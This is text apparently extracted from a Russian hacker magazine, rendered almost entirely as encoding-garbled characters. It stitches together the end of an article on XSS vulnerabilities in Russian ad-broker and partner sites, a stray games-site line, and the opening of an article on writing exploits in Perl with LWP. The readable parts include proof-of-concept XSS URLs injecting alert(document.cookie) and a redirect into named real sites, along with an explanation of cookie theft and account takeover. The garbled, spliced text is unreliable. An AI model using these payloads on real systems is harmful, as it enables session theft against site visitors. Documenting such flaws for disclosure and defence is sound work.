ñèñòåì ÷åðåç óÿçâèìîñòè â ïàðòíåðñêîìêîäå, — åñëè ñèñòåìû ïðåäëàãàþò ðàçìåùàòüïàðòíåðñêèé êîä íà ñàéòå, îñîáåííî â ñëó÷àå èíòåãðàöèèðåêëàìû ñ ëîêàëüíûì ïîèñêîì íà ñàéòå. (XSSóÿçâèìîñòèâ êîäàõ ñèñòåì Äèðåêòßíäåêñ è Áåãóí).www.begun.ru. Õîòÿ óÿçâèìîñòü áûëà â êîíòåêñòíîìêîäå Áåãóíà, îíà ñòàâèëà ïîä âîïðîñ áåçîïàñíîñòüêîäà ñàéòîâ-ïàðòíåðîâ, â äàííîì ïðèìåðå— ñàéòà Ðàìáëåðà:http://www.rambler.ru/srch?words=%D2%E5%F1%F2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3EÝòà óÿçâèìîñòü îòíîñèòñÿ ê òèïó XSS â DOM è ìîæåòáûòü îïàñíà äëÿ âñåõ ïîñåòèòåëåé ñàéòà.http://direct.yandex.ru.  Äèðåêòßíäåêñå èìåëàìåñòî XSS-óÿçâèìîñòü, ïðè÷åì êàê ñîáñòâåííàÿ(â ñàìîé ñèñòåìå), òàê è óÿçâèìîñòü â êîäå, êîòîðûéèñïîëüçóåòñÿ ñàéòàìè-ïàðòíåðàìè (íà ïðèìåðåñàéòà itnews.com.ua):http://itnews.com.ua/s.cgi?page=2'%3Balert(document.cookie)%3Ba='&q=%F2%E5%F1%F2http://itnews.com.ua/s.cgi?page=2'%3Bdocument.location%3D'http://websecurity.com.ua'%3Ba='&q=%F2%E5%F1%F2ÂÈÄÛ XSS-ÀÒÀÊCross-Site Scripting (òàêæå CSS è XSS)óÿçâèìîñòè â êîíòåêñòå âåáà (âåá-ïðèëîæåíèÿè âåá-ñèñòåìû) — óÿçâèìîñòèíà ñàéòàõ, êîòîðûå ìîãóò ïðèâåñòèê âûïîëíåíèþ çàäàííîãî íàïàäàþùèìêîäà â êîíòåêñòå áðàóçåðà ïîëüçîâàòåëÿ,àòàêîâàííîãî çëîóìûøëåííèêîì.Äðóãèìè ñëîâàìè, ýòî óÿçâèìîñòü â âåáïðèëîæåíèÿõñ íåêîððåêòíî ðàáîòàþùèìèôèëüòðàìè âõîäÿùåé èíôîðìàöèè,êîòîðàÿ íå ïðîâåðÿåòñÿ äîëæíûìîáðàçîì ïåðåä òåì, êàê âåðíóòü ðåçóëüòàòïîëüçîâàòåëþ.Ñðåäè âîçìîæíûõ àòàê íà ïîëüçîâàòåëåéðåêëàìíûõ èíòåðíåò-áðîêåðîâñ ïðèìåíåíèåì XSS ìîæíî âûäåëèòüñëåäóþùèå: ïàññèâíûé XSS, àêòèâíûéXSS è XSS â DOM. Êàæäàÿ èìååò ñâîèîñîáåííîñòè è ïîçâîëÿåò çëîóìûøëåííèêóïðîâåñòè àòàêó íà ó÷àñòíèêà ñèñòåìû,âïëîòü äî çàõâàòà àêêàóíòà.Ïàññèâíûé XSS. Ñàìûé ðàñïðîñòðàíåííûéâèä XSS. Äëÿ óñïåøíîé àòàêèó÷àñòíèê äîëæåí áûòü â ñèñòåìå (è â åãîêóêèñàõ äîëæíà õðàíèòüñÿ èíôîðìàöèÿîá àâòîðèçàöèè). Ïîñëå ýòîãî çëîóìûøëåííèê,ïîäãîòîâèâ ñîîòâåòñòâóþùèéðàáî÷èé XSS-êîä äëÿ óÿçâèìîé ñòðàíèöû,äîëæåí êàêèì-òî îáðàçîì çàñòàâèòüïîëüçîâàòåëÿ ñèñòåìû èñïîëíèòüåãî. Ýòî âîçìîæíî êàê ïóòåì ñîîáùåíèÿæåðòâå (ïî òîé æå àñüêå) «ññûëêè»íà ñòðàíèöó (îñòàíåòñÿ òîëüêî óáåäèòüïîëüçîâàòåëÿ çàéòè íà ýòó ñòðàíèöó),òàê è ðàçìåùåíèÿ «ññûëêè» íà êàêîìòîñàéòå (ïðè ýòîì ìîæíî ñïðÿòàòü èñòèííûéàäðåñ, ÷òîáû ïîëüçîâàòåëü íè-÷åãî íå çàïîäîçðèë). Ïîñëå òîãî êàêæåðòâà, íè÷åãî íå ïîäîçðåâàÿ, ïîïàäåòâ ëîâóøêó, ñðàáàòûâàåò «çëîáíûé»êîä è íàïàäàþùèé ïîëó÷àåò êóêèñ æåðòâûñ àâòîðèçàöèîííîé èíôîðìàöèåé.Ïðè ýòîì æåðòâà ïðîïóñêàåò âñå ìèìîãëàç è óøåé.Ïîñëå ïîëó÷åíèÿ êîíôèäåíöèàëüíûõäàííûõ ñ êóêèñàìè ó÷àñòíèêà ñèñòåìûçëîóìûøëåííèê ìîæåò èñïîëüçîâàòüèõ äëÿ âõîäà â ñèñòåìó ðåêëàìíîãîèíòåðíåò-áðîêåðà îò åãî èìåíè ñ ïîñëåäóþùèìíàíåñåíèåì óùåðáà êàê «îáâîðîâàííîìó»ó÷àñòíèêó, òàê è ñàìîìóèíòåðíåò-áðîêåðó.Àêòèâíûé XSS. Ýòî ìåíåå ðàñïðîñòðàíåííûéâèä XSS. Íî äàííàÿ óÿçâèìîñòüîïàñíåå, òàê êàê ìîæåò íàíåñòèâðåä áîëüøåìó êîëè÷åñòâó ó÷àñòíèêîâè ïðîöåññ òàêîé àòàêè áîëåå óïðîùåííûéïî ñðàâíåíèþ ñ ïàññèâíûì XSS.Çëîóìûøëåííèê, èñïîëüçîâàâ àêòèâíóþXSS-óÿçâèìîñòü, çàíîñèò ïðèãîòîâëåííûéXSS-êîä â áàçó äàííûõñèñòåìû ðåêëàìíîãî èíòåðíåò-áðîêåðà.È äàëåå åìó íå íóæíî ìîðî÷èòü ñåáå ãîëîâóçàìàíèâàíèåì æåðòâû â ëîâóøêó,òàê êàê îíà ïîïàäàåòñÿ ñàìà, ïðîñòîçàéäÿ â àêêàóíò ñèñòåìû è ïîñåòèâ òóñòðàíèöó, ãäå îòîáðàæàþòñÿ äàííûåèç ÁÄ (âìåñòå ñ êîäîì çëîóìûøëåííèêà).Ïîëó÷àåòñÿ, æåðòâà ñàìîñòîÿòåëüíîîòäàåò ñâîè êóêèñû, îïÿòü æå, íè÷åãîíå çàìåòèâ.Ïîëó÷èâ êîíôèäåíöèàëüíûå äàííûåñ êóêèñàìè ó÷àñòíèêà ñèñòåìû,çëîóìûøëåííèê, êàê è â ïåðâîì ñëó÷àå,ìîæåò èñïîëüçîâàòü èõ äëÿ âõîäà â ñèñòåìóðåêëàìíîãî èíòåðíåò-áðîêåðà îòèìåíè þçåðà ñ ïîñëåäóþùèì çàõâàòîìàêêàóíòà.XSS â DOM (DOM Based XSS). Îòäåëüíûéè âåñüìà îïàñíûé âèä óÿçâèìîñòåéìåæñàéòîâîãî ñêðèïòèíãà —ñòàíäàðòíûå ôèëüòðû ïðîòèâ êëàññè-÷åñêèõ XSS â ýòîì ñëó÷àå íå ïîìîãóò.Ìåòîäèêà àòàêè ïîäîáíà ìåòîäèêåâ ñëó÷àå ïàññèâíîãî XSS. Òî÷íî òàê æåçëîóìûøëåííèê ïîäãîòàâëèâàåò çëîíàìåðåííûéêîä äëÿ óÿçâèìîé ñòðàíèöûè çàìàíèâàåò â ëîâóøêó ïîëüçîâàòåëÿñèñòåìû. Ïîñëå ÷åãî ïîëó÷àåò åãî êóêèñè êîíòðîëü åãî àêêàóíòà. Ïðèíöèïèàëüíàÿðàçíèöà — â îñîáåííîñòÿõ ðàáîòûXSS â DOM — ôèëüòðû, íàïðàâëåííûåíà êëàññè÷åñêèå XSS, íå ïîìîãàþò (ê ïðèìåðó,ôèëüòðàöèÿ óãëîâûõ ñêîáîê),è çàäàííûé êîä âûïîëíÿåòñÿ íà óÿçâèìîéñòðàíèöå.Ïîäîáíûå óÿçâèìîñòè ìîãóò âñòðå-÷àòüñÿ êàê â êîäå ñèñòåì ðåêëàìíûõ èíòåðíåò-áðîêåðîâ,òàê è â ïàðòíåðñêîìêîäå ñèñòåìû êîíòåêñòíîé ðåêëàìû.Ýòà óÿçâèìîñòü òàê æå îòíîñèòñÿ ê òèïó XSS â DOMè ìîæåò áûòü èñïîëüçîâàíà ïðîòèâ âñåõ ïîñåòèòåëåéñàéòà. Ñåé÷àñ âñå ýòè óÿçâèìîñòè óæå íåéòðàëèçîâàíû.çàêëþ÷åíèå. Ê ñîæàëåíèþ, è ñåé÷àñ ñèòóàöèÿñ óÿçâèìîñòÿìè XSS íà ñàéòàõ íåêîòîðûõ èíòåðíåòáðîêåðîâñêëàäûâàåòñÿ íå ëó÷øèì îáðàçîì. À ñèäåòüíà «ïîðîõîâîé áî÷êå» è æäàòü, êîãäà ðâàíåò,— íå ñàìûé ëó÷øèé âûõîä. Íî ñ êàæäîé èñïðàâëåííîéXSS äûðîé ñèòóàöèÿ óëó÷øàåòñÿ. Ïîýòîìóïðèçûâàåì àäìèíèñòðàòîðîâ ñåðüåçíåå îòíîñèòñÿê ïðîáëåìå áåçîïàñíîñòè è ïðîâåðèòü ñâîè ïðîåêòû,êàê ìèíèìóì, íà íàëè÷èå îïèñàííûõ âûøåóÿçâèìîñòåé.http://en.wikipedia.org/wiki/Cross_site_scriptingÑross-Site Scriptingwww.securitylab.ru/analytics/275087.phpìåæñàéòîâûé ñêðèïòèíã ÷åðåç DOMhttp://websecurity.com.ua/127/õàêèíã ñàéòà ÷åðåç óÿçâèìîñòè â êîäå âíåøíèõ ñèñòåìhttp://websecurity.com.ua/9/æóðíàëû BugsWeekhttp://websecurity.com.ua/90/óÿçâèìîñòü íà mainlink.ruhttp://websecurity.com.ua/109/óÿçâèìîñòü íà mainlink.ruchttp://websecurity.com.ua/137/óÿçâèìîñòü íà adbroker.ruhttp://websecurity.com.ua/250/óÿçâèìîñòü íà adbroker.ruhttp://websecurity.com.ua/323/óÿçâèìîñòü íà www.link.ruhttp://websecurity.com.ua/260/óÿçâèìîñòü íà www.link.ruhttp://websecurity.com.ua/17/óÿçâèìîñòü íà Ðàìáëåðåhttp://websecurity.com.ua/398/óÿçâèìîñòè â Äèðåêòßíäåêñåhttp://websecurity.com.ua/397/óÿçâèìîñòè íà itnews.com.ua


http://www.gameland.ru/ Dark Fall: The Journal / Divine Divinity 2 / Elevator Action Old & New / Dorabase / Con-----


62 ÎØÈÁÊÈ ÌÎËÎÄÎÑÒÈ ÑÏÅÖ 02-07áåçûãîëüíûåèíúåêòîðûÈíñòðóìåíòàðèé êîäåðà ýêñïëîéòîâ ïîä PerlÈÍÎÃÄÀ ÒÐÅÁÓÅÒÑß ÀÂÒÎÌÀÒÈÇÈÐÎÂÀÒÜ ÏÐÎÖÅÑÑ ÏÎÈÑÊÀ ÓßÇÂÈÌÎÑÒÈ ÈËÈ ÁÛÑÒÐÎÏÐÎÂÅÐÈÒÜ ÂÀÐÈÀÍÒÛ ÈÑÏÎËÜÇÎÂÀÍÈß ÊÀÊÎÃÎ-ËÈÁÎ ÍÅÄÎ×ÅÒÀ  ÊÎÄÅ. ÊÎÄÈÒÜÄËß ÊÀÆÄÎÃÎ ÒÀÊÎÃÎ ÑËÓ×Àß ÍÀ «ÑÈ» ÑËÈØÊÎÌ ÓÒÎÌÈÒÅËÜÍÎ È ÍÅÐÀÖÈÎÍÀËÜÍÎ. ÝÒÎÌ ÑËÓ×ÀÅ ÍÀÌ ÍÀ ÏÎÌÎÙÜ ÏÐÈÄÅÒ PERL, ÊÎÒÎÐÛÉ ÏÎÇÂÎËßÅÒ ÁÛÑÒÐÎ ÏÈÑÀÒÜÊÎÐÎÒÊÈÅ È ÔÓÍÊÖÈÎÍÀËÜÍÛÅ ÝÊÑÏËÎÉÒÛ.Insiderbrain_insider@mail.ruÝòà ñòàòüÿ íå ÿâëÿåòñÿ ðóêîâîäñòâîì ïî ïðîãðàììèðîâàíèþíà Perl, ðàâíî êàê è íå ÿâëÿåòñÿ ðóêîâîäñòâîìïî íàïèñàíèþ ýêñïëîéòîâ: â íåé ìû êîðîòêîðàññìîòðèì îñíîâíûå èíñòðóìåíòû, êîòîðûå ìîãóòäëÿ ýòîãî ïîòðåáîâàòüñÿ.Åñëè òû îïûòíûé ñåêüþðèòè-ñïåöèàëèñò è çíàåøü«÷òî ïî÷åì» â ìèðå ñåòåâîé áåçîïàñíîñòè, òîñëåäóþùèé àáçàö ìîæåøü ñìåëî ïðîïóñòèòü.  ñëó-÷àå æå, åñëè òû òîëüêî ïëàíèðóåøü ïðèñòóïèòü ê íàïèñàíèþñîáñòâåííûõ ýêñïëîéòîâ è ïîäûñêèâàåøüèíñòðóìåíòû, ÿ ïðåäñòàâëþ òâîåìó âíèìàíèþ îäèíòàêîé è îáîñíóþ, ÷åì è êàê îí ìîæåò áûòü ïîëåçåí.Äëÿ ÷òåíèÿ ýòîé ñòàòüè íåîáõîäèìû ëèøü áàçîâûåçíàíèÿ Perl, òàê ÷òî íå ñòîèò ïóãàòüñÿ, åñëè ýòîò ÿçûêòåáå íå çíàêîì. Ïðèìåðû ïðîñòû íàñòîëüêî, ÷òî,ïðè íàëè÷èè îïûòà ïðîãðàììèðîâàíèÿ íà ëþáîìäðóãîì ÿçûêå, òû ëåãêî ñìîæåøü â íèõ ðàçîáðàòüñÿ.À äëÿ íà÷àëà äàâàé âñïîìíèì, ÷òî æå òàêîåýêñïëîéò, êàê åãî ïèñàòü, è, ãëàâíîå, ÷åì íàì â ýòîìíåëåãêîì äåëå ìîæåò ïîìî÷ü Perl.Èòàê, ýêñïëîéò (exploit, àíãë.) â ïåðåâîäåc âðàæåñêîãî îçíà÷àåò «èñïîëüçîâàòü, ïîëüçîâàòüñÿ,ýêñïëóàòèðîâàòü».  íàøåì ñëó÷àå ìû ýêñïëóàòèðóåìóÿçâèìîñòè, íàéäåííûå â àòàêóåìîì ñîôòå.Òàêèì îáðàçîì, ýêñïëîéò — ýòî êîä, êîòîðûé ñîçäàåòóñëîâèÿ äëÿ èñïîëüçîâàíèÿ è èñïîëüçóåò íåêîòîðóþóÿçâèìîñòü â àòàêóåìîì ïðèëîæåíèè ñ íåêèìè,íåñîìíåííî çëîâåùèìè, öåëÿìè. ×òî æå ýòî ìîãóòáûòü çà öåëè? Äà êàêèå óãîäíî, íà÷èíàÿDoS-àòàêîé íà êëèåíòñêèé êîìïüþòåð è çàêàí÷èâàÿâûïîëíåíèåì çëîâðåäíîãî øåëë-êîäà íà ñåðâåðå.Ïîíÿòíî, ÷òî òèï ýêñïëîéòà çàâèñèò îò òèïà óÿçâèìîñòèè öåëåé, êîòîðûå ïðåñëåäóåò âçëîìùèê. Îäíàêîåñòü íàèáîëåå îáùèé êëàññ çàäà÷, â êîíòåêñòåêîòîðûõ ìû è ïðèãëÿäèìñÿ ê Perl.Íàèáîëåå ÷àñòî ïðèõîäèòñÿ ïèñàòü óäàëåííûåýêñïëîéòû, êîòîðûå íå ïîäðàçóìåâàþò íàëè÷èÿ ïðÿìîãîäîñòóïà ê öåëåâîé ìàøèíå, à èñïîëüçóþò ïðåäîñòàâëÿåìûéýòîé ìàøèíîé óäàëåííûé ñåðâèñ. ×òîíàì ìîæåò ïîòðåáîâàòüñÿ äëÿ íàïèñàíèÿ óäàëåííîãîýêñïëîéòà? Î÷åâèäíî, ìîäóëè, ïîçâîëÿþùèå ôîðìèðîâàòüñîåäèíåíèÿ íà âñåõ óðîâíÿõ ñòåêà ïðîòîêîëîâTCP/IP. Ïî÷åìó ÿ ðåêîìåíäóþ èñïîëüçîâàòü äëÿýòèõ öåëåé Perl? Perl, íà ìîé âçãëÿä, ÷ðåçâû÷àéíîïðîñò â îñâîåíèè. Äëÿ ÷åëîâåêà, çíàêîìîãî ñ Ñ/Ñ++,îñâîåíèå ñèíòàêñèñà Perl çàéìåò ìàêñèìóì äåíüäâà.Äëÿ ïðèìåðà, îäèí ìîé çíàêîìûé ;), êîãäà òîãîïîòðåáîâàëà ñèòóàöèÿ, îñâîèë îñíîâíûå èíñòðóìåíòûPerl è íàïèñàë ïåðâûé ñêðèïò íà 200-300 ñòðîêâ òå÷åíèå 10 ÷àñîâ. Íàäî çàìåòèòü, ÷òî îí îòíþäüíå ïîëèãëîò. Perl ÷ðåçâû÷àéíî ãèáîê è íå íàâÿçûâàåòêàêîé-òî êîíêðåòíûé ñòèëü ïðîãðàììèðîâàíèÿ.Åñòü Perl-ñêðèïòû, êîòîðûå ïðè ïîâåðõíîñòíîì ïðîñìîòðåñëîæíî îòëè÷èòü îò C, åñòü íàïèñàííûå â«ðîäíîì» äëÿ Perl ñêðèïòîâîì ñòèëå. Ñóùåñòâóåòìíîãî ñïîñîáîâ ñäåëàòü îäíî è òî æå, è äëÿ êàæäîéêîíêðåòíîé çàäà÷è òû âîëåí âûáèðàòü òîò èíñòðóìåíò,êîòîðûé òåáå ïðåäñòàâëÿåòñÿ ñàìûì ïîäõîäÿùèì— ýòî îñíîâíàÿ èäåîëîãèÿ Perl. Ìàëî òîãî, ïîêîëè÷åñòâó âîçìîæíîñòåé ýòî îäèí èç ñàìûõ áîãàòûõÿçûêîâ — îäíè ðåãóëÿðíûå âûðàæåíèÿ ÷åãî ñòîÿò.Ñëåäóåò îòìåòèòü, ÷òî íà Perl ìîæíî ïèñàòü î÷åíü êîðîòêèåè ïðè ýòîì ÷ðåçâû÷àéíî ôóíêöèîíàëüíûåñêðèïòû. Ïîìèìî ýòîãî, ÿçûê ïîçâîëÿåò ðàçâèâàòüíåõèëóþ ñêîðîñòü ðàçðàáîòêè, â ñðàâíåíèè ñ òåìæå C, îáëàäàÿ, êàê óæå áûëî ñêàçàíî, âïîëíå äîñòàòî÷íîéôóíêöèîíàëüíîñòüþ. Íàïðèìåð, ÿ, äà è íå ÿîäèí, ÷àñòî èñïîëüçóþ Perl äëÿ íàïèñàíèÿ ïðèêèäî÷íîãîìàêåòà áóäóùåé óòèëèòû. È êàê òîëüêî ñòàíîâèòñÿÿñíî, êàê ñëåäóåò îðãàíèçîâàòü êîä è êàêèåâîçìîæíû óçêèå ìåñòà, ìîæíî ïðèñòóïàòü ê ïåðåïèñûâàíèþêîäà íà êîìïèëèðóåìîì ÿçûêå (íàïðèìåð,Ñ), åñëè, êîíå÷íî, ñêîðîñòü âûïîëíåíèÿ ÿâëÿåòñÿêðèòè÷íîé. Àõ äà, ñîâñåì çàáûë: îñíîâíîé è ñàìûéæèðíûé áîíóñ Perl — ýòî ñêëàä ãîòîâûõ ðåøåíèé íàâñå ñëó÷àè æèçíè — CPAN (ïîäðîáíåé ÷èòàé íà âðåçêå).Åñëè âîçíèêàåò æåëàíèå íàïèñàòü «êàêóþ-íèáóäüïîëåçíóþ áèáëèîòå÷êó», òî ñ áîëüøîé âåðîÿòíîñòüþ÷òî-òî ïîäîáíîå óæå åñòü íà CPAN. Åùå Perlïîçâîëÿåò îñóùåñòâëÿòü ðàáîòó ñ ñèñòåìîé íà íèçêîìóðîâíå (ê ïðèìåðó, ðåàëèçîâàíà ðàáîòà ñ ñèñòåìíûìèâûçîâàìè è ñèãíàëàìè Unix, ÷òî ìîæåòáûòü êðàéíå ïîëåçíî ïðè íàïèñàíèè ýêñïëîéòîâ).


63Íó è, íàêîíåö, Perl îáëàäàåò íåèëëþçîðíîé ïåðåíîñèìîñòüþ,÷òî òàêæå ÷ðåçâû÷àéíî âàæíî. Åñëè âîçíèêíåòíåîáõîäèìîñòü çàïóñòèòü óäàëåííûéýêñïëîéò íà êàêîì-ëèáî øåëëå, ýòî ïîëó÷èòñÿ ïî÷òèíàâåðíÿêà, íåâçèðàÿ íà óñòàíîâëåííóþ íà øåëëåîïåðàöèîííóþ ñèñòåìó. Êîíå÷íî, åñëè êîä íå áóäåòîïèðàòüñÿ íà îñîáåííîñòè êîíêðåòíîé îïåðàöèîíêè,è íà íóæíîé íàì ìàøèíå áóäåò óñòàíîâëåí Perl-èíòåðïðåòàòîð.Îá îñîáåííîñòÿõ Perl ìîæíî ãîâîðèòüî÷åíü äîëãî, íî äàííàÿ ñòàòüÿ íåìíîãî íå îá ýòîì :). îáùåì, ÿ óâåðåí, ÷òî âñåì, êòî òîëüêî íà÷èíàåò ïèñàòüñâîè ýêñïëîéòû, ñòîèò ïîïðîáîâàòü äåëàòü ýòîíà Perl, êàê íà ñàìîì âûèãðûøíîì ïî ñîîòíîøåíèþ«çàòðàòû/ðåçóëüòàò» èíñòðóìåíòå.ïðîñòàÿ ðàáîòà ñ www. ×òî ìîæåò íàì â ïåðâóþî÷åðåäü ïîíàäîáèòüñÿ ïðè íàïèñàíèè óäàëåííîãîýêñïëîéòà íà web-èíòåðôåéñ? Êîíå÷íî æå, âîçìîæíîñòüôîðìèðîâàòü HTTP-çàïðîñû è îáðàáàòûâàòüîòâåòû. Íàïðèìåð, ïðè ðåàëèçàöèè ýêñïëîéòà,èñïîëüçóþùåãî SQL-èíúåêöèþ èëè ïåðåïîëíåíèåáóôåðà (äà è âîîáùå, ëþáóþ óÿçâèìîñòü, îñíîâàííóþíà íåäîñòàòî÷íîé ôèëüòðàöèè ïàðàìåòðîâ webñêðèïòîâ),ýòî, ôàêòè÷åñêè, åäèíñòâåííîå, ÷òî íàìïîíàäîáèòñÿ.Ïåðâàÿ áèáëèîòåêà, êîòîðàÿ íàì ïðèãîäèòñÿ —LWP (LWP — The World-Wide Web library for Perl).Ïî íàçâàíèþ óæå ïðèìåðíî ïîíÿòíî, ÷òî ñ ïîìîùüþýòîé áèáëèîòåêè ìîæíî ðàáîòàòü ñ www, è ñåé÷àñ ìûâûÿñíèì, êàê èìåííî ýòî äåëàåòñÿ. Èòàê, ýòà áèáëèîòåêàïðåäñòàâëÿåò ñîáîé íàáîð ìîäóëåé äëÿ ïðîñòîéðàáîòû ñ www: ñ åå ïîìîùüþ ìû ìîæåì ôîðìèðîâàòüçàïðîñû ê êàêèì óãîäíî ñòàíäàðòíûì ñåðâèñàì(ftp, http, file, smtp, etc.) è äàæå ïîñûëàòü e-mail'û.Îäíàêî íàäî ïîìíèòü, ÷òî ïðîâåðêà ïðàâèëüíîñòèçàïðîñîâ öåëèêîì ëîæèòñÿ íà íàñ, òàê êàê ñàì LWPìîäóëüíå ãàðàíòèðóåò, ÷òî, ïîñëàâ êðèâîé çàïðîñ íàêàêîé-ëèáî ñåðâåð, òû ïîëó÷èøü õîòü êàêîé-òî îòâåò.Ðàáîòà ýòîãî ìîäóëÿ îñíîâàíà íà HTTP-style ñîåäèíåíèè,òî åñòü ñîåäèíåíèè ïî òèïó «çàïðîñ-îòâåò».Ðàáîòàåò âñå ýòî î÷åíü ïðîñòî.  íà÷àëå ìû ôîðìèðóåìîáúåêò çàïðîñà HTTP::Request (íå ñòîèò ïóãàòüñÿóïîìèíàíèÿ ïðîòîêîëà HTTP â íàçâàíèè êëàññà —îí óêàçûâàåò íà èñïîëüçóåìóþ èäåîëîãèþ ñîåäèíåíèÿè íèêàê íå îãðàíè÷èâàåò èõ âîçìîæíûé òèï), ïîñëå÷åãî ïåðåäàåì åãî â ìåòîä request êëàññàLWP::UserAgent, êîòîðûé ïðåäñòàâëÿåò ñîáîé èíòåðôåéñ,ñêðûâàþùèé âñþ íèçêîóðîâíåâóþ ðàáîòóñ ñåòüþ è âîçâðàùàþùèé îòâåò â âèäå îáúåêòàHTTP::Response. Ñàì ïî ñåáå îáúåêò LWP::UserAgentñîäåðæèò ìíîãî àòðèáóòîâ, êîòîðûå êîíôèãóðèðóþòåãî âçàèìîäåéñòâèå ñ ñåòüþ.  ÷àñòíîñòè, ïðè ðàáîòåñ HTTP íåêîòîðûå àòðèáóòû âñòðàèâàþòñÿâ HTTP-çàãîëîâîê. Ðàññìîòðèì îñíîâíûå àòðèáóòûîáúåêòà HTTP::Request:— METHOD — ÑÒÐÎÊÀ,ÈÄÅÍÒÈÔÈÖÈÐÓÞÙÀß ÒÈÏ ÇÀÏÐÎÑÀ(ÍÀÈÁÎËÅÅ ×ÀÑÒÎ ÈÑÏÎËÜÇÓÞÒÑßPOST, GET, PUT È Ò.Ä.).— URI (UNIFORM RESOURCE IDENTIFIER) —ÑÒÐÎÊÀ, ÑÎÄÅÐÆÀÙÀß ÏÐÎÒÎÊÎË,ÑÅÐÂÅÐ È ÈÌß ÇÀÏÐÀØÈÂÀÅÌÎÃΫÄÎÊÓÌÅÍÒÀ», ÊÎÒÎÐÀß ÌÎÆÅÒÑÎÄÅÐÆÀÒÜ È ÄÐÓÃÈÅ ÏÀÐÀÌÅÒÐÛ,ÎÁÐÀÁÀÒÛÂÀÅÌÛÅ ÑÅÐÂÅÐÎÌ,ÍÀÏÐÈÌÅÐ, «HTTP:://MEGASITING.EE:-8080/SCRIPT.CGI?PARAM=PAM&PAM=PAM».— HEADERS —  ÎÁÙÅÌ ÑËÓ×ÀÅ —ÄÎÏÎËÍÈÒÅËÜÍÀß ÈÍÔÎÐÌÀÖÈßÎ ÇÀÏÐÎÑÅ Â ÂÈÄÅ ÏÀЫÊËÞ×-ÇÍÀ×ÅÍÈÅ».  ÑËÓ×ÀÅHTTP-ÑÎÅÄÈÅÍÈß — ÏÀÐÀÌÅÒÐÛÇÀÃÎËÎÂÊÀ.— CONTENT — ÄÀÍÍÛÅ, ÅÑËÈ ÎÍÈÍÅÎÁÕÎÄÈÌÛ.ÎÒÂÅÒ ÑÅÐÂÅÐÀ, ÊÀÊ ÓÆÅ ÁÛËÎÓÏÎÌßÍÓÒÎ — ÝÒÎ ÎÁÚÅÊÒHTTP::RESPONSE, ÑÎÄÅÐÆÀÙÈÉÑËÅÄÓÞÙÈÅ ÏÀÐÀÌÅÒÐÛ, ÄÎÑÒÓÏÍÛÅÑ ÏÎÌÎÙÜÞ ÎÄÍÎÈÌÅÍÍÛÕ ÌÅÒÎÄÎÂ:1 CODE — ÊÎÄ ÎÒÂÅÒÀ ÑÅÐÂÅÐÀ (200 —ÂÑÅ ÍÎÐÌÀËÜÍÎ, 404 — FILENOT FOUND, 500 — ÎØÈÁÊÀÏÐÈ ÎÁÐÀÁÎÒÊÅ ÑÊÐÈÏÒÀ…);2 MESSAGE — ÊÐÀÒÊÎÅ ÏÎßÑÍÅÍÈÅ ÊÎÄÀÂÎÇÂÐÀÒÀ ( ÓÄÎÁÎ×ÈÒÀÅÌÎÉ ÔÎÐÌÅ);3 HEADERS — ÏÀÐÀÌÅÒÐÛ ÇÀÃÎËÎÂÊÀÎÒÂÅÒÀ.  ÎÁÙÅÌ ÑËÓ×ÀÅ — ÎÏÈÑÀÍÈÅÊÎÍÒÅÍÒÀ;4 CONTENT — ÑÎÁÑÒÂÅÍÍÎ, ÄÀÍÍÛÅ.Ïðîäåìîíñòðèðóåì, êàê âñå ýòî ðàáîòàåò íà ïðèìåðåäîñòóïà ê HTTP-ñåðâåðó (ëèñòèíã 1).Êàê ìû âèäèì, âñå î÷åíü ïðîñòî.  ïåðâîé ñòðî÷êåìû ïîäêëþ÷àåì ìîäóëü LWP::UserAgent, ïîñëå ÷åãîñîçäàåì íîâûé îáúåêò. Íàäî çàìåòèòü, ÷òî êîíñòðóêòîðûâ Perl îáû÷íî ïîíèìàþò ãèáêèé íàáîð ïàðàìåòðîâ.Ýòî ñâÿçàíî ñ îñîáåííîñòÿìè ðåàëèçàöèè ÎÎ-ïîäõîäàè ñïîñîáîì ïåðåäà÷è ïàðàìåòðîâ â ìåòîäû êëàññà (ìûíå áóäåì óãëóáëÿòüñÿ â ýòó òåìó â ðàìêàõ äàííîéñòàòüè, òàê êàê îíà òÿíåò íà îòäåëüíûé ñïåö-âûïóñê).Íàïðèìåð, LWP::UserAgent ìîæåò ïðèíèìàòü â êà÷åñòâåïàðàìåòðîâ ïóñòîé ñïèñîê èëè íàáîð èç ïàð «êëþ÷çíà÷åíèå»:LWP::UserAgent->new(from!'pupkin@gov.no',agent->'MyMegaMailSender/2.5.7', …) # ïðè ôîðìèðîâàíèèSMTP-çàïðîñà. òðåòüåé ñòðîêå ïðèâåäåííîãî ëèñòèíãàìû ìåíÿåì îäèí èç àòðèáóòîâ çàïðîñà — agent, êîòîðûéñëóæèò äëÿ èäåíòèôèêàöèè íàøåãî ïðèëîæåíèÿ. ñëó÷àå HTTP-çàïðîñà, ýòîò àòðèáóò âñòðà-CPAN (ComprehensivePerl Archive Network)CPAN (COMPREHENSIVE PERL ARCHIVENETWORK) — ÝÒÎ ÎÃÐÎÌÍÛÉ ÀÐÕÈÂÂÑÅÂÎÇÌÎÆÍÎÃÎ ÑÎÔÒÀ ÍÀ PERL È ÄÎ-ÊÓÌÅÍÒÀÖÈÈ Ê ÍÅÌÓ, ÊÎÒÎÐÛÉ ÐÀÑÏÎ-ËÀÃÀÅÒÑß ÏÎ ÀÄÐÅÑÓ CPAN.ORG. ÑÒÐÀ-ÍÈÖÀ SEARCH.CPAN.ORG — ÑÀÌÀß ÏÎ-ÑÅÙÀÅÌÀß ÑÒÐÀÍÈÖÀ WEB-ÐÀÇÐÀÁÎÒ-×ÈÊÀ, ÈÑÏÎËÜÇÓÞÙÅÃÎ Â ÑÂÎÅÉ ÐÀÁÎ-ÒÅ PERL. ÎÍÀ ÑÎÄÅÐÆÈÒ ÂÑÞ ÍÅÎÁÕÎ-ÄÈÌÓÞ ÄÎÊÓÌÅÍÒÀÖÈÞ ÏÎ ÑÒÀÍÄÀÐÒ-ÍÛÌ ÂÎÇÌÎÆÍÎÑÒßÌ PERL È ÍÅÂÅÐÎßÒÍÓÞÊÓ×Ó ÂÑÅÂÎÇÌÎÆÍÛÕ ÃÎÒÎÂÛÕÐÅØÅÍÈÉ, ÊÎÒÎÐÛÅ ÎÁÛ×ÍÎ ÕÎÐÎØÎÄÎÊÓÌÅÍÒÈÐÎÂÀÍÛ. ËÈ×ÍÎ Ó ÌÅÍß ÎÁ-ÄÓÌÛÂÀÍÈÅ ÊÀÊÎÉ-ËÈÁÎ ÇÀÄÀ×È ÍÀ-×ÈÍÀÅÒÑß Ñ 